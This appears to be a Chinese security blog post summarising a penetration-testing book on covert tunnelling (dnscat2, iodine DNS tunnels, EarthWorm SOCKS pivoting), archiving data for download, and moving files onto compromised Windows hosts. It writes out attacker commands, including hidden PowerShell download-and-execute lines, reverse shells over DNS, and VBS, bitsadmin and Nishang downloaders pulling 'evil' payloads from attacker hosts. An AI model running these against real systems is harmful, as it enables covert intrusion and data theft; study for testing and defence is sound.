《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

admin 2025年2月18日20:02:09评论6 views字数 12666阅读42分13秒阅读模式
《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)
《内网安全攻防渗透测试实战指南》学习笔记整理,快速掌握内网渗透的关键知识点:

推荐使用powershell版本的dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)。如果要使用dnscat2-Powershell脚本,目标Windows机器需要支持powershell2.0以上版本。

把脚本下载到目标机器中,执行如下命令:

Import-Module .dnscat2.ps1

当然,也可以执行如下命令来加载脚本,下载地址见(https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1)

IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

加载脚本后,执行如下命令,开启dnscat2-powershell服务:

Start-Dnscat2 -Domain ***.yokan.*** -DNSServer 106.***.***.***

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

输入如下命令,使用IEX加载脚本的方式,在内存中打开dnscat2客户端

powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain c**.yokan.*** -DNSServer 106.***.***.***}

在客户端中运行dnscat2.ps1脚本之后,在服务器中可以看到客户端上线的提示

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

4、反弹shell

dnscat2服务端使用的是交互模式,所有的流量都由DNS来处理。dnscat2的使用方法和Metasploit类似。

客户端和服务端建立连接后,服务端处理交互模式,输入“Windows”或者“sessions"命令,可以查看当前的控制进程(每个连接都是独立的)

输入”window -i 1"或者“session -i 1"命令,进入目标主机,输入“help”命令,可以查看控制台支持的命令。

输入"shell”命令,打开另外一个会话,建立一个交互环境。可以输入cmd命令,进行查询

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

调用exec命令,可以远程打开程序。例如

exec notepad.exe

执行如下命令,创建一个控制台,然后可以执行powershell命令和脚本

exec psh

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

dnscat2还提供了多域名并发的特性,可以将多个子域名绑定在同一个NS下,然后在服务端同时接收多个客户端连接,具体命令如下:

ruby dnscat2.rb --dns=port=53532 --security=openstart --dns domain=,domain=

·iodine

碘的原子序数为53,而这恰好是DNS的端口号,故该工具被命名为"iodine"

iodine可以通过一台DNS服务器制造一个IPv4数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用。iodine是基于C语言开发的,分为服务端程序iodined和客户端程序iodine。kali中内置了iodine。 下载:https://github.com/Al1ex/iodine

(iodine相对于dnscat2来说,速度和稳定性都是在dnscat2之上的,因此建立DNS隧道,iodine这款工具是首选)

与同类工具相比,iodine有如下优点:

i)不会对下行数据进行编码

ii)支持多平台,Linux、Windows、BSD、Mac OS

iii)支持16个并发连接

iv)支持强密码机制

v)支持同网段隧道IP地址

vi)支持多种DNS记录类型

vii)提供了丰富的隧道质量检测措施

iodine支持直接转发和中继两种模式,其原理是:通过 TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同—个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。更多使用方法和功能特性,请参考iodine的官方文档:http://code.kryo.se/iodine

1、安装服务端

首先,设置域名。在这里要尽可能使用短域名(域名越短,隧道的带宽消耗就越小)。设置A记录iodine服务器的IP地址,将NS记录指向此域名

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

接下来,在服务端中安装iodine。在Windows中,需要安装编译好的对应版本的iodine。在Kali Linux中,默认安装了iodine。如果使用的是基于Debian的发行版Linux,可以执行如下命令进行安装:

apt install iodine

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

安装后,就可以使用如下命令运行iodine了

iodined -f -c -P just_test 192.168.0.1 ***.yokan.*** -DD

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

-f : 在前台运行

-c : 禁止检查所有传入请求的客户端IP地址

-P : 客户端和服务器之间用于验证身份的密码

-D : 指定调试级别。 -DD指第二级。“D”的数量随等级增加

这里的192.168.0.1是自定义的局域网虚拟IP地址。完成基本配置后,可以通过iodine检查页面(https://code.kryo.se/iodine/check-it)检查配置是否正确

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

如果配置无误却无法正常工作,需要检查服务端的防火墙配置情况。

2、安装客户端,并使用DNS隧道

2-1)在Linux客户端机器上,只需要安装iodine客户端,命令如下:

apt install iodineiodine -f -P just_test ***.yokan.*** -M 200

-r : iodine有时可能会自动将DNS隧道切换为UDP通道,该参数的作用是强制在任何情况下使用DNS隧道

-M : 指定上行主机名的大小

-m : 调节最大下行分片的大小

-T : 指定所使用的DNS请求的类型,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A

-O : 指定数据编码规范

-L : 指定是否开启懒惰模式(默认为开启)

-I : 指定请求与请求之间的时间间隔

出现这个表明建立连接成功

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

可以看到,客户端上多了一块dns0虚拟网卡

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

并且可以看到路由规则上增添了192.168.0.0这个网段

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

在VPS服务端上已经建立了连接

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

使用DNS隧道:新启一个终端,我们尝试在VPS上远程连接目标机器,显示连接成功

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

2-2)如果目标机器是Windows机器,因此需要下载编译好的Windows版本,同时,需要安装TAP网卡驱动程序。也可以下载OpenVPN,在安装时仅选择TAP-Win32驱动程序( 下载地址:https://swupdate.openvpn.org/community/releases/tap-windows-9.9.2_3.exe)。安装后,服务器上多了一块名为"TAP-Windows Adapter V9"的网卡

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

然后我们接着下载iodine的windows客户端http://code.kryo.se/iodine/iodine-0.7.0-windows.zip

将iodine-0.7.0-Windows解压后,进入解压目录,输入如下命令,连接服务端

( 要以管理员的身份运行命令,我认为iodine唯一的缺点就是要高权限运行命令,可能要配合提权操作才能充分发挥iodine的作用)

iodine.exe -f -P just_test ***.yokan.***

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

如果出现,如上图,“Connection setup complete, transmitting data.”的提示信息,就表示DNS隧道已经建立了。

此时,TCP over DNS已经建立了。在客户端执行"ping 192.168.0.1"命令,连接成功

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

使用DNS隧道:DNS隧道的使用方法比较简单。由于客户端和服务器在同一个局域网中,只要直接访问即可。例如,登录目标主机的3389端口,就可以直接执行"rdesktop 192.168.0.2:3389"命令。同样,目标主机也可以通过SSH进行登录服务器

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

·防御DNS隧道的方法

防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。

i)禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信

ii)虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻传人和传出流量中的TXT请求。

iii)跟踪用户的 DNS查询次数。如果达到阅值,就生成相应的报告

iv)阻止ICMP

SOCKS代理

常见的网络场景有如下三类:

i: 服务器在内网中 ,可以任意访问外部网络。

ii: 服务器在内网中 ,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接

iii:服务器在内网中,对外只开放了部分端口(如80),且服务器不能访问外部网络

常用SOCKS代理工具

SOCKS是一种代理服务,可以简单地将一端的系统连接另一端。SOCKS分为SOCKS4和SOCKS5:SOCKS4只支持TCP协议;SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080。SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。

SOCKS代理可以理解为增强版的lcx 。

常见工具:

·EarthWorm

EW是一套便携式的网络工具,具有SOCKS5服务架设和端口转发两个核心功能,可以在复杂的网络环境中实现网络穿透,https://github.com/rootkiter/EarthWorm

https://codeload.github.com/idlefire/ew/zip/master

EW能够正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统 (Linux、Windows、Mac OS、ARM-Linux均包含在内)。

EW的新版本Termite,https://github.com/rootkiter/Termite

·reGeorg

reGeorg的主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本地。

reGeorg可以使目标服务器在内网中连接内部开放端口。reGeorg利用webshell建立一个SOCKS代理进行内网穿透

·sSocks

sSocks支持SOCK5验证,支持IPv6和UDP,并提供反向SOCKS代理服务(将远程计算机作为SOCKS代理服务端反弹到本地)

·SocksCap64

SocksCap64是一款在Windows环境中相当好用的全局代理软件,http://www.sockscap64.com/

SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络,而不需要对这些应用程序进行任何修改。即使是那些本身不支持SOCKS代理的应用程序,也可以通过SocksCap64实现代理访问

·Proxifier

Proxifier也是一款非常好用的全局代理软件,https://www.proxifier.com/

Proxifier提供了跨平台的端口转发和代理功能,适用于Windows、Linux、macos平台

·ProxyChains

ProxyChains是一款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器

http://proxychains.sourceforge.net/

SOCKS代理技术在网络环境中的应用

·EarchWorm的应用

EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。ssocksd命令用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于复杂网络环境的多级级联。

操作手册:

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

测试环境:左侧有一个人计算机,为攻击者的计算机,位于攻击者的内网中,攻击者还有一台公网中的vps;右侧是一个受害内网,有三台机器,我们已经控制的web服务器有两个网卡,是连接外网和内网的关键节点,内网其他机器之间均不能直接连接。

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

①正向SOCKS 5服务器

以下命令适用于目标机器拥有一个外网IP地址的情况, 如上图内网web服务器的模拟外网IP为192.168.1.7。在web服务器上面上传对应的ew程序并执行:

ew -s ssocksd -l 888

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

这样,就在内网web服务器上面架设了一个端口为888的socks代理服务。接下来我们就可以设置proxychains或SocksCap64添加这个socks代理服务器(192.168.1.7)的代理即可。配置proxychains:

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

打开内网Windows server 8的远程桌面:

proxychains4 rdesktop 192.168.52.138

②反弹SOCKS 5 服务器

适用于目标机器没有公网IP地址的情况具体如下:

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

在攻击者公网vps上面上传ew_for_linux64并执行:

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

该命令的意思是,在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给1234端口

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

接着,在内网web服务器(192.168.52.143)上传ew_for_Win.exe,并执行命令:

ew_for_Win.exe -s rssocks -d 39.xxx.xxx.210 -e 1234

该命令的意思是,在IP地址为192.168.52.143的服务器上启动SOCKS5 服务,然后反弹到公网IP地址为39.XXX.XXX.210的1234端口上

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

最后返回公网VPS的命令行界面。可以看到反弹成功了:

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

现在就可以在攻击者计算机上面配置proxychains或SocksCap64等工具通过访问公网vps(39.xxx.xxx.210)的1080端口来使用内网web服务器上面架设的socks代理服务了。

③二级网络环境(a)

适用于目标机器拥有一个外网IP地址的情况下。具体如下:

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

右侧内网A主机有两个网卡,一个连接外网(192.168.1.7),另一个只能连接内网的B主机,但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权。

我们先将ew上传至B主机上面,并用ssocksd方式启动1234端口的正向socks代理:

ew_for_Win.exe -s ssocksd -l 1234

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

接着,将ew上传至A主机中,并执行命令:

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.52.138 -g 1234

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

该命令的意思是将A主机1080端口收到的代理请求转发给B主机(192.168.52.138)的1234端口。

现在,我们就可以通过访问A主机的公网IP(192.168.1.7)的1080端口来使用架设在B主机上的socks代理服务了。

④二级网络环境(b)

刚才那个适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们该怎么办呢?

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

如上图环境,A主机既没有公网IP,可以能访问外网,不能访问内网其他主机资源,但可以访问内网B主机;内网B主机可以访问内网资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权限。

这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可以通过访问vps来访问B主机上面架设的socks服务。

我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的代理请求发送给1234端口,执行命令:

ew_for_linux64 -s lcx_listen -l 1080 -e 1234

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

然后将ew上传至内网B(192.168.52.138)主机,并利用ssocksd方式启动999端口的正向socks代理,执行命令:

ew_for_Win.exe -s ssocksd -l 999

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

最后,将ew上传到内网A主机上,在A主机(192.168.52.143)上利用lcx_slave方式,将公网vps的1234端口与内网B主机(192.168.52.138)的999端口连接起来,执行命令:

ew_for_Win.exe -s lcx_slave -d 39.xxx.xxx.210 -e 1234 -f 192.168.52.138 -g 999

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

此时,就可以设置proxychains等代理工具,通过访问公网vps的1080端口来使用架设在内网B主机上的socks代理服务了。

⑤三级网络环境

三级网络环境在渗透测试中比较少见,也比较复杂。下面详细讲解三级级联命令的用法:

测试环境为:右侧的内网A主机没有公网IP地址,但可以访问外网;B主机不能访问外网,但可以被A主机访问;C主机可被B主机访问,而且能够访问核心区域。

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

在公网VPS上执行如下命令,将1080端口收到的代理请求转发给888端口

ew -s rcsocks -l 1080 -e 888

在A主机上执行如下命令,将公网VPS的888端口和B主机的999端口连接起来

ew -s lcx_slave -d 139.xxx.xxx.113 -e 888 -f 10.48.128.12 -g 999

在B主机上执行如下命令,将999端口收到的代理请求转发给777端口

ew -s lcx_listen -l 999 -e 777

在C主机上启动SOCKS5服务,并反弹到B主机的777端口上

ew -s rssocks -d 10.48.128.12 -e 777

现在就可以通过访问公网VPS(139.XXX.XXX.113)的1080端口使用在C主机上架设的SOCKS 5代理了。

·在Windows下使用SocksCap64实现内网漫游

下载安装https://www.sockscap64.com/ ,以管理员权限打开程序(默认已经添加了浏览器)

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

SocksCap64的使用方法比较简单,单机"代理"按钮,添加一个代理,然后设置代理服务器的IP地址和端口即可。设置完成后,可以单机界面上的闪电图标按钮,测试当前代理服务器是否可以连接

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

选择浏览器,单机右键,在弹出的快捷菜单中单机"在代理隧道中运行选中程序"选项,就可以自由访问内网资源了。例如,访问192.168.111.156的80端口

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

尝试登录192.168.111.175的3389端口:

右键 添加一个EXE文件,找到mstsc.exe添加

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

单机右键,在弹出的快捷菜单中单机"在代理隧道中运行选中程序"选项

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

·在Linux下使用proxychains实现内网漫游

Kali linux中预装了proxychains,稍加配置就可以使用。打开终端,输入如下命令

vi /etc/proxychains.conf

在底部输入SOCKS代理信息,保存

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

测试以下代理服务器是否能正常工作

proxyresolv www.baidu.com

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

此时会显示“命令未找到”。在终端输入:

cp /usr/lib/proxychains3/proxyresolv /usr/bin

再次测试,显示‘OK',表示代理服务器已经正常工作了。

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

现在就可以访问内网了。

先访问内网中的网站。在终端输入' proxychains firefox',启动火狐浏览器。 待浏览器打开即可访问内网中的网站:

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

在每个工具前面加上 'proxychains' ,命令即可在内网中使用,例如一些扫描器

proxychains nmap 192.169.111.175proxychains sqlmap -u 192.168.111.157

通过proxychains,Metasploit也可在内网中使用

输入如下命令,启动metasploitproxychains msfconsole即可正常在内网中使用

压缩数据

在渗透测试中,下载数据是一项重要的工作。下面就具体讲讲压缩软件在渗透测试中的使用方法。

RAR

WinRAR提供了强力压缩、分卷、加密和自解压模块,简单易用。

如果目标机器安装了WinRAR,可以直接使用;如果没有安装,可以在本地下载并安装,然后把WinRAR安装目录里的rar.exe文件提取出来,上传到目标机器中(安装WinRAR的操作系统版本和目标机器的操作系统版本必须相同,否则可能会出错

-a: 添加要压缩的文件-k: 锁定压缩文件-s: 生成存档文件(这样可以提供压缩比)-p: 指定压缩密码-r: 递归压缩,包括子目录-x: 指定要排除的文件-v: 分卷打包,在打包大文件时用处很大-ep:从名称中排除路径-ep1:从名称中排除基本目录-m0:存储,添加到压缩文件时不压缩文件-m1:最快,使用最快压缩方式(低压缩比)-m2:较快,使用快速压缩方式-m3:标准,使用标准压缩方式(默认)-m4:较好,使用较强压缩方式(速度较慢)-m5:最好,使用最强压缩方式(最好的压缩方式,但速度最慢)

·以RAR格式压缩/解压

把C:Users86153Desktoptestrar 目录下的所有内容(包括子目录)打包为1.rar,放到C:Users86153Desktoptestrar 目录下,命令如下:

Rar.exe a -k -r -s -m3 C:Users86153Desktoptestrar1.rar C:Users86153Desktoptestrar

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

接下来讲解一下如何解压文件:

把刚刚打包的C:Users86153Desktoptestrar1.rar 文件解压到当前根目录下,命令如下

Rar.exe e C:Users86153Desktoptestrar1.rar

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

e:解压到当前根目录下

x:以绝对路径解压

以ZIP格式压缩/解压的命令和RAR一样,只需把后缀改称'.zip'

·分卷压缩/解压

分卷压缩E盘API目录下的所有文件及文件夹(使用-r参数进行递归压缩),设置每个分卷为20MB,结构为test.part1.rar、test.part2.rar、test.part3.rar ...... 命令如下:

Rar.exe a -m0 -r -v20m E:test.rar E:API

解压:将E:test.part01.rar解压到E盘的xl目录下:

Rar.exe x E:test.part01.rar E:x1

7-Zip

7-Zip有更高的压缩比。与WinRAR相比,7-Zip对系统资源的消耗较少

常见参数:

-r 递归压缩-o  指定输出目录-p  指定密码-v  分卷压缩(设置要适当,否则文件会非常多)a  添加压缩文件

如果目标机器装有7-Zip,可以直接使用;如果没有安装,可以在本地下载并安装,然后把7-Zip安装目录里的7z.exe文件提取出来,上传到目标机器中.

·普通压缩/解压方式

把E:webs 目录下的所有内容(包括子目录)打包为1.7z,放到E:webs 目录下,压缩密码为'12345' , 命令如下:

7z.exe a -r -p12345 E:webs1.7z E:webs

把已经打包的E:webs1.7z 文件解压到E:x目录下,命令如下:

7z.exe x -p12345 E:webs1.7z -oE:x

·分卷压缩/解压方式

分卷压缩E盘API目录下的所有文件及文件夹(使用-r参数进行递归压缩),指定压缩密码为'admin',每个分卷20MB,结构为test.7z.001,test.7z.002,test.7z.003 ....... 命令如下:

7z.exe -r -v1m -padmin a E:test.7z E:API

解压文件,执行如下命令,将E:test.7z.001解压到E盘的x1目录下:

7z.exe x -padmin E:test.7z.001 -oE:x1

上传和下载

对于不能上传shell,但是可以执行命令的Windows服务器(而且唯一的入口就是命令行环境),可以在shell命令行环境中对目标服务器进行上传和下载操作。

利用FTP协议上��

在本地或者VPS上搭建FTP服务器,通过简单的FTP命令即可实现文件的上传。

常用的FTP命令:

open <服务器地址> :连接服务器cd <目录名> :进入指定目录lcd <文件夹路径> : 定位本地文件夹type:查看当前的传输方式ascii:设定传输方式为ASCII码方式 binary:设定传输方式为二进制方式put <文件名> [newname]  上传send <文件名> [newname]  上传get/recv:下载单个文件get filename [newname](filename为下载的ftp服务器上的文件名,newname为保存在本都计算机上时使用的名字,如果不指定newname,文件将以原名保存。get/recv命令下载的文件将保存在本地计算机的工作目录下。该目录是启动ftp客户端时的工作目录目录。如果想修改本地计算机的工作目录,可以使用 lcd 命令。比如:lcd /tmp 表示将工作目录设定/tmp/目录。mget:下载多个文件mget filename [filename ....](mget命令支持通配符“*”和“?”,比如:mget  *.jpg 表示下载ftp服务器当前目录下的所有扩展名为jpg的文件。)prompt:关闭/打开互交提示。

利用VBS上��

利用VBS上传,主要使用的是msxm12.xmlhttp和adodb.stream对象。将以下命令保存到download.vbs文件中:

Set Post = CreateObject("Msxm12.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://server_ip/target.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode =3aGet.Type = 1aGet.Open()aGet.Write(Post.responseBody)aGet.SaveToFile "C:testtarget.exe",2

在目标服务器的shell命令行环境中依次输入上述命令

echo Set Post = CreateObject("Msxm12.XMLHTTP") >>download.vbsecho Set Shell = CreateObject("Wscript.Shell") >>download.vbsecho Post.Open "GET","http://server_ip/target.exe",0 >>download.vbsecho Post.Send() >>download.vbsecho Set aGet = CreateObject("ADODB.Stream") >>download.vbsecho aGet.Mode =3 >>download.vbsecho aGet.Type = 1 >>download.vbsecho aGet.Open() >>download.vbsecho aGet.Write(Post.responseBody) >>download.vbsecho aGet.SaveToFile "C:testtarget.exe",2 >>download.vbs

依次执行以上命令,会生成download.vbs。

通过执行download.vbs,即可实现下载target.exe文件的操作:

Cscript download.vbs

利用Debug上��

利用Debug上传文件的原理是,先将需要上传的EXE文件转换为十六进制HEX的形式,再通过echo命令将HEX代码写入文件,最后利用Debug功能将HEX代码编译并还原成EXE文件。

在kali中,exe2bat.exe工具位于/usr/share/windows-binaries目录下。在该目录下执行如下命令,把需要上传的ew.exe文件转换成十六进制HEX的形式

wine exe2bat.exe ew.exe ew.txt

此时会生成一个ew.txt文件。

然后,利用目标服务器的Debug功能,将HEX代码还原为EXE文件。使用echo命令,将ew.txt里面的代码复制到目标系统的命令行环境中。依次执行命令,生成1.dll、123.hex、ew.exe。

使用debug是一种比较老的方法,exe2bat.exe只支持小于64KB的文件。

利用Nishang上��

使用Nishang上传文件的原理:利用Nishang将上传的EXE文件转换为十六进制的形式,然后使用echo命令访问目标服务器,最后使用Download_Execute脚本下载文本并将其转换为EXE文件

在这里,需要使用echo命令将Nishang PowerShell脚本的内容上传到目标服务器中,并将扩展名改为".ps1"

执行一下命令,利用Nishang中的exetotext.ps1脚本将msf.exe修改为文本文件msf.txt

.ExeToText.ps1 msf.exe msf.txt

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

接着,通过echo命令,先将转换的HEX值添加到目标文件中,再将Nishang脚本文件的内容添加到目标文件中。

最后,输入如下命令,调用Download_Execute脚本下载并执行该文本文件

Download_Execute http://192.168.111.156/msf.txt

利用bitsadmin下载

bitsadmin是一个命令行工具,Windows XP以后的Windows操作系统中自带该工具。

bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:test1.txt

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

利用powershell下载

PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用。

远程下载文件保存在本地:

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')

远程执行命令:

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"

《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

内网安全书籍推荐

🌐内网安全攻防-渗透测试实战指南(电子版下载)

链接:https://pan.baidu.com/s/1Fu1w66Ra7ow6Xf7y-6oW_g?pwd=qrby 

原文始发于微信公众号(安全帮):《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月18日20:02:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   《内网安全攻防渗透测试实战指南》笔记之隐藏通信隧道技术(下)(文末下载电子版)https://cn-sec.com/archives/3753508.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息